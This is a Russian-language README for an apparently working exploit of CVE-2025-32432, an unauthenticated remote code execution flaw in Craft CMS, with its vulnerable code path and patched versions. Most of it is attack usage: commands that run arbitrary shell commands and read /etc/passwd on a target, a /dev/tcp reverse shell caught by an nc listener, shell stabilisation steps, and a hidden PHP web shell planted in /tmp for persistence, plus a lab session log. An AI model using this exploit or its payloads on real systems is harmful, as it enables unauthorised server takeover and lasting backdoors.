
Рабочий PoC для CVE-2025-32432 - Craft CMS <= 5.6.16 неаутентифицированный RCE через Yii2 PhpManager gadget + отравление nginx access.log
Рабочее доказательство концепции для CVE-2025-32432, уязвимости удаленного выполнения кода без аутентификации в Craft CMS версий до 5.6.16 включительно (также затрагивает ветки 4.x и 3.x на эквивалентных участках кода).
Ключевые слова поиска: CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit,
Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior,
nginx log poisoning Craft, unauth RCE craftcms 2025.
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'
Режим по умолчанию нацелен на стандартные установки Craft CMS. Флаг --lab предназначен для задания carangueijada-20 проекта hacklab-platform, который защищает Craft за кастомной сессионной кукой.
Затронутый компонент: craft\controllers\AssetsController::actionGenerateTransform.
Действие зарегистрировано как allowAnonymous, поэтому аутентификация не требуется. Он принимает POST-параметр handle, который затем разворачивается в вызов Craft::createObject():
$transform = Craft::createObject([
'class' => ImageTransform::class,
...$handle,
]);
Когда $handle – это ассоциативный массив под контролем атакующего, развертывание инжектирует произвольные ключи в конфигурацию конструктора. В частности, ключ, начинающийся с as , интерпретируется yii\base\Component::__set как прикрепление поведения, что вызывает Yii::createObject($config) для значения до любой проверки типа:
elseif (strncmp($name, 'as ', 3) === 0) {
$name = trim(substr($name, 3));
$this->attachBehavior(
$name,
$value instanceof Behavior ? $value : Yii::createObject($value),
);
return;
}
Исправление Yii2 в версии 2.0.50 добавило проверку is_subclass_of($value['class'], Behavior::class) для этой ветки; уязвимые установки (Yii2 <= 2.0.49 или более ранние с удалённой проверкой) полностью пропускают эту защиту.
yii\rbac\PhpManagerPhpManager – стандартный класс Yii2. Его метод init() вызывает load(), который вызывает loadFromFile($this->itemFile). loadFromFile буквально:
protected function loadFromFile($file)
{
if (is_file($file)) {
return require $file;
}
return [];
}
require обрабатывает любой файл на диске как PHP. Если файл содержит блок <?php ... ?>, этот блок выполняется в воркере. Указав itemFile на файл, содержимое которого контролируется атакующим, достигается полный RCE.
access.log nginxНадёжный сток для всех установок – это access.log nginx в комбинированном формате. Он записывает User-Agent запроса дословно, включая непечатные символы и большинство знаков пунктуации. Отправив запрос, чей User-Agent равен <?php system('id'); exit; ?>, атакующий помещает PHP-блок по известному пути. Указав itemFile на /var/log/nginx/access.log, require обрабатывает этот файл, выполняя все блоки <?php ... ?> по порядку.
Важны две тонкости:
" в \x22 в комбинированном формате, что ломает парсинг PHP строки. Используйте одинарные кавычки или конкатенацию с chr().exit; в конце, чтобы require прервался до обработки последующих строк журнала, которые могут содержать другие некорректные полезные нагрузки.| Компонент | Уязвимая версия | Исправленная версия |
|---|---|---|
| Craft CMS | <= 5.6.16 | 5.6.17 |
| Craft CMS | <= 4.15.2 | 4.15.3 |
| Craft CMS | <= 3.9.14 | 3.9.15 |
| Yii2 | <= 2.0.49 | 2.0.50 |
Craft 5.6.17 добавляет проверку ImageTransformerInterface на класс трансформера. Yii2 2.0.50 добавляет проверку подкласса Behavior в Component::__set. Любое из двух исправлений закрывает эту конкретную цепочку гаджетов.
requests (pip install -r requirements.txt)assetId Craft на цели. По умолчанию 2; переопределить с помощью -a <id> при необходимости (идентификатор ресурса 1 обычно является аватаром администратора).python3 exploit.py -u http://victim.tld -c 'id'
python3 exploit.py -u http://victim.tld -p /cms -c 'id'
python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'
itemFile (другой путь к журналу, сессия FPM и т.д.)python3 exploit.py -u http://victim.tld \
-i /var/log/apache2/access.log \
-c 'id'
Лаборатория carangueijada-20 из проекта hacklab-platform защищает установку Craft за кукой coopsess, выдаваемой через PATCH /login. Флаг --lab автоматически обрабатывает этот рукопожатие.
python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
-c 'id; uname -a'
Убедитесь, что www.carangueijada.coop разрешается в IP лаборатории (при необходимости добавьте в /etc/hosts).
Флаг --revshell запускает bash -i >& /dev/tcp/<lhost>/<lport> 0>&1 в фоне, чтобы POST-запрос гаджета возвращался мгновенно.
Двухтерминальный поток (самый надёжный):
# терминал 1 - слушатель на вашей машине
nc -lvnp 4444
# терминал 2 - запуск эксплойта
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444
Однотерминальный поток со встроенным слушателем:
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444 \
--auto-listen
--auto-listen запускает nc -lvnp <lport> в том же терминале перед отправкой полезной нагрузки. Ctrl+C для выхода.
Пример сессии (лаборатория):
$ python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
--revshell --lhost 10.200.0.20 --lport 4444
[*] Reverse shell payload -> 10.200.0.20:4444
[!] On YOUR machine run first: nc -lvnp 4444
[*] Firing in 3s (give your listener time to bind)...
[*] Lab mode: PATCH /login to obtain coopsess cookie
[*] coopsess cookie acquired
[*] Probing for existing wrapper at /tmp/.cve32432_w.php
[*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*] HTTP 200
[*] Reverse shell fired.
# в слушателе:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$
Стабилизация оболочки (после подключения выполнить внутри обратной оболочки):
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z для фона nc
stty raw -echo; fg
# Дважды Enter
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200
При первом запуске эксплойт однократно отравляет access.log, чтобы разместить скрытый PHP-обёртку в /tmp/.cve32432_w.php. Обёртка читает HTTP-заголовок X-Cmd и выполняет system($_SERVER['HTTP_X_CMD']). Каждый последующий вызов указывает itemFile на файл обёртки и передаёт команду через заголовок. Больше никакого отравления, загрязнения журналов, сбоев «первый <?php exit; блок побеждает».
Если нужно принудительно пересоздать обёртку, удалите /tmp/.cve32432_w.php на цели (это можно сделать через саму обёртку: --cmd 'rm /tmp/.cve32432_w.php').
Успешный запуск на свежей цели: